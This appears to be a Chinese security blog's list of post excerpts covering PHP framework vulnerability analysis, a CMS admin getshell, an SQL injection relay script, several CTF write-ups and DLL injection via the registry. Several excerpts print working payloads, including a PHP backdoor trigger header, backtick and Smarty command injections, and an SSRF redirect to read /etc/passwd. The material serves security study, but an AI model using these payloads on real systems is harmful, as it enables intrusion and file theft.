PHP-FRP框架分析
FrPHP写在前面为什么会写到这个呢,其实最重要的原因是我不太想去挖低级漏洞了,更希望能够从框架底层去挖漏洞提交,因此产生了这篇文章,当然由于各个版本的FrPHP核心逻辑不变,我这里用较低版本号的1.6.6去进行分析
目录结构
common 包含系统部分配置、核心公共函数集、错误渲染页面
db 数据库语句的封装
Extend 拓展类所在目录
lib MVC基类
Fr.php FrPHP框架核心加载文件
接下来我们就从各个目录去分析关键的底层代码
Fr.php这是自动加载引用类的机制,这里我们来讲一下spl_autoload_register函数,当然我觉得了解这个得先给师父们讲一下__autoload函数
__autoload函数首先我们写一个index.php
123456789101112<?php/** * Created by Y4tacker **/function __autoload( $class ) { $file = $class . '.class.php'; if ( is_file($file) ) ...
ThinkPHP5.0.0-5.0.18
ThinkPHP5.0.0-5.0.18RCE另类利用姿势Trick比较骚的是我们一直以为php当中::只能调用静态方法,但是非静态一定条件下也能成功调用
成功输出123虽然有报错
123456789<?phpclass A{ public $a; public function y4tacker(){ echo 123; }}A::y4tacker();
失败
12345678910<?phpclass A{ public $a; public function y4tacker(){ $this->a = '123'; echo 123; }}A::y4tacker();
分析首先利用点是利用thinkphp/library/think/Request.php中的$value = call_user_func($filter, $value);来执行任意函数之后我们可以利用thinkp ...
kyxs后台getshell
kyxsCMS后台getshell昨晚看到可以Getshell那就看看呗,首先只能说在后台所以利用条件太高了
准备工作首先去http://bbs.kyxscms.com/?t/1.html下载该漏洞版本,
然后记得配置伪静态,kyxscms官方有问题
12345location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; }}
分析阶段进入正题,明显可以看到,在后台能找到有个模板管理的模块
为了快速定位函数位置,我们先随便点开一个点击保存,看到,直接全局搜索字符串,在Template.php中找到了答案
第64行
12345678910111213141516171819public function edit(){ $Template=model('template'); $data=$this->request->post(); ...
SQL注入技巧-配合Python-Flask的中转注入
以本次虎符CTF为例,我们在进行常规SQL注入的时候,会遇到这几种情况①常常会因为构造网络请求麻烦②写tamper嫌麻烦
这时候我们的中转注入就来了,这次的虎符CTF比赛当中有一个Web题需要我们频繁构造gopher去实现POST或者GET请求,这时候如果我们想要实现更自由的SQL注入,便可使用,下面直接放上脚本,请自行理解,一点不难
12345678910111213141516171819202122232425262728293031323334353637383940from flask import Flask,requestfrom urllib.parse import quoteimport requestsdef urlencode(s): res='' for c in s: fuck=hex(ord(c)).split('0x')[1] if len(fuck)==1: fuck='0'+fuck res+="%&quo ...
2021虎符CTF
web签到一个最近刚爆出来的php后门,直接一把梭
1User-Agentt: zerodiumsystem("cat /flag");
unset一开始百度搜一下发现是fatfree框架,然后github一瞬间获取源码,本地搭建发现报错嘻嘻
1syntax error, unexpected '.', expecting :: (T_PAAMAYIM_NEKUDOTAYIM) [G:\phpstudy_pro\WWW\yyds.top\lib\base.php(530) : eval()'d code:1]
在eval前加了个echo发现真的调用连,
1unset($this->hive['后面是我们a=的内容
发现有过滤太长了吧,自己本独测试发现有phpinfo但是后面执行命令不行
1a=a[%27phpinfo%27()]
尝试执行
1?a=a[%27system%27(ls)]
但是多了空格不行换个思路
尝试php几种常用bypass,日常fuzz发现%0a加上直接成功闭合还能绕过 ...
nepctf2021
Nepnep2021队伍名Y4摸鱼来玩
排名第四
weblittle_trick方法一看到限制条件那么长直接想到php反引号可以执行命令,配合文件有读写权限即可做出来
1http://ea2e7981-2ed4-463d-a132-f90cf546479d.node1.hackingfor.fun/1b5337d0c8ad813197b506146d8d503d/?nep=`cat n*>1`;&len=99
之后访问
1http://ea2e7981-2ed4-463d-a132-f90cf546479d.node1.hackingfor.fun/1b5337d0c8ad813197b506146d8d503d/1
方法二结合一个小trick,由于都是字母,linux下文件系统排序是数字优先,之后是abcd。。。的字母顺序
因此我们执行
1`>cat`
之后文件目录结构应该是这样的
1cat nepxxx.php indxx,php ...
VNCTF2021-naive
[VNCTF 2021]naive拿了一个二血开心
亮点nodeJs的ES6特性import及其动态加载特性
Wp首先打开题目是一个计算器,以为是常规的审计Node去实现逃逸啥的,后来发现不是
在源代码当中发现,存在任意文件读取,先放一边
12345678910app.use("/source", (req, res) => { let p = req.query.path || file; p = path.resolve(path.dirname(file), p); if (p.includes("flag")) { res.send("no flag!"); } else { res.sendFile(p); }});
接下来我们看看关键逻辑,接收一个参数e和code,但是我们首先要拿到code,才能任意执行eval
123456789101112131415161718app.use("/eval", (re ...
PDO的ATTR_EMULATE_PREPARES属性带来的安全问题
这次的思考来源于我昨天对TP5.0.9进行SQL漏洞复现的时候所引发的思考
当时在PDO的prepare编译阶段报错直接抛出异常之后,在页面居然发现sql被执行了!!!
因为我们知道PDO分为三个阶段,prepare,bindParam和execute,如下所示
12345678910111213141516171819<?php $dsn = 'mysql:dbname=test;host=localhost;charset=utf8'; $user = 'root'; $password = '123456'; try { $pdo = new PDO($dsn, $user, $password); } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } $pdo->quer ...
四叶草网络安全学院牛年CTF大赛
第一届四叶草网络安全学院牛年CTF大赛WRITEUP队伍信息战队名称战队成员姓名:Firebasky、Y4tacker、lastsward、atao、m1n9yu3
解题情况战队排名答题情况WebWebGET首先传?flag=1,发现似乎是smarty,
测试{$smarty.version},
成功过滤cat,用tac发现是smarty注入简单了
那就flag={if passthru(“tac fl*”)}{/if}
即可获得flag
WEBsite首先打开页面看到接收url参数,是ssrf考点
测试发现是只能http[s]://开头,然后尝试302跳转,自己vps上面开启,
发现居然可以得到<?php header("Location:file///etc/passwd");
之后/etc/httpd/conf/httpd.conf发现有两个网站分别在80和8080端口,之后读取8080发现是反序列化的题目,
12345678<?php class copy_file{ public $path = 'uploa ...
DLL注入
Dll注入本质将dll映射到目标进程的地址空间当中,从而取得执行dll代码的机会
DLL常用注入方式注册表优缺点简单,全局注入,但是很死板,不太使用,不主动,也不太稳定
并且必须有调用System32下的User32.dll文件的才行(Windows的机制),否则失败,成功会执行DLL_PROCESS_ATTACH下的东西
注册表位置
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\
下面的Applnit_DLLs和LoadAppInit_DLLs
注册表键值
注册表API
说明
RegOpenKeyEx
打开注册表键值
RegQueryValueEx
查询键值
RegSetValueEx
设置键值
RegCloseKey
关闭键值
1234567891011121314151617181920212223242526#include <stdio.h>#include <string.h>#include <Windows.h> ...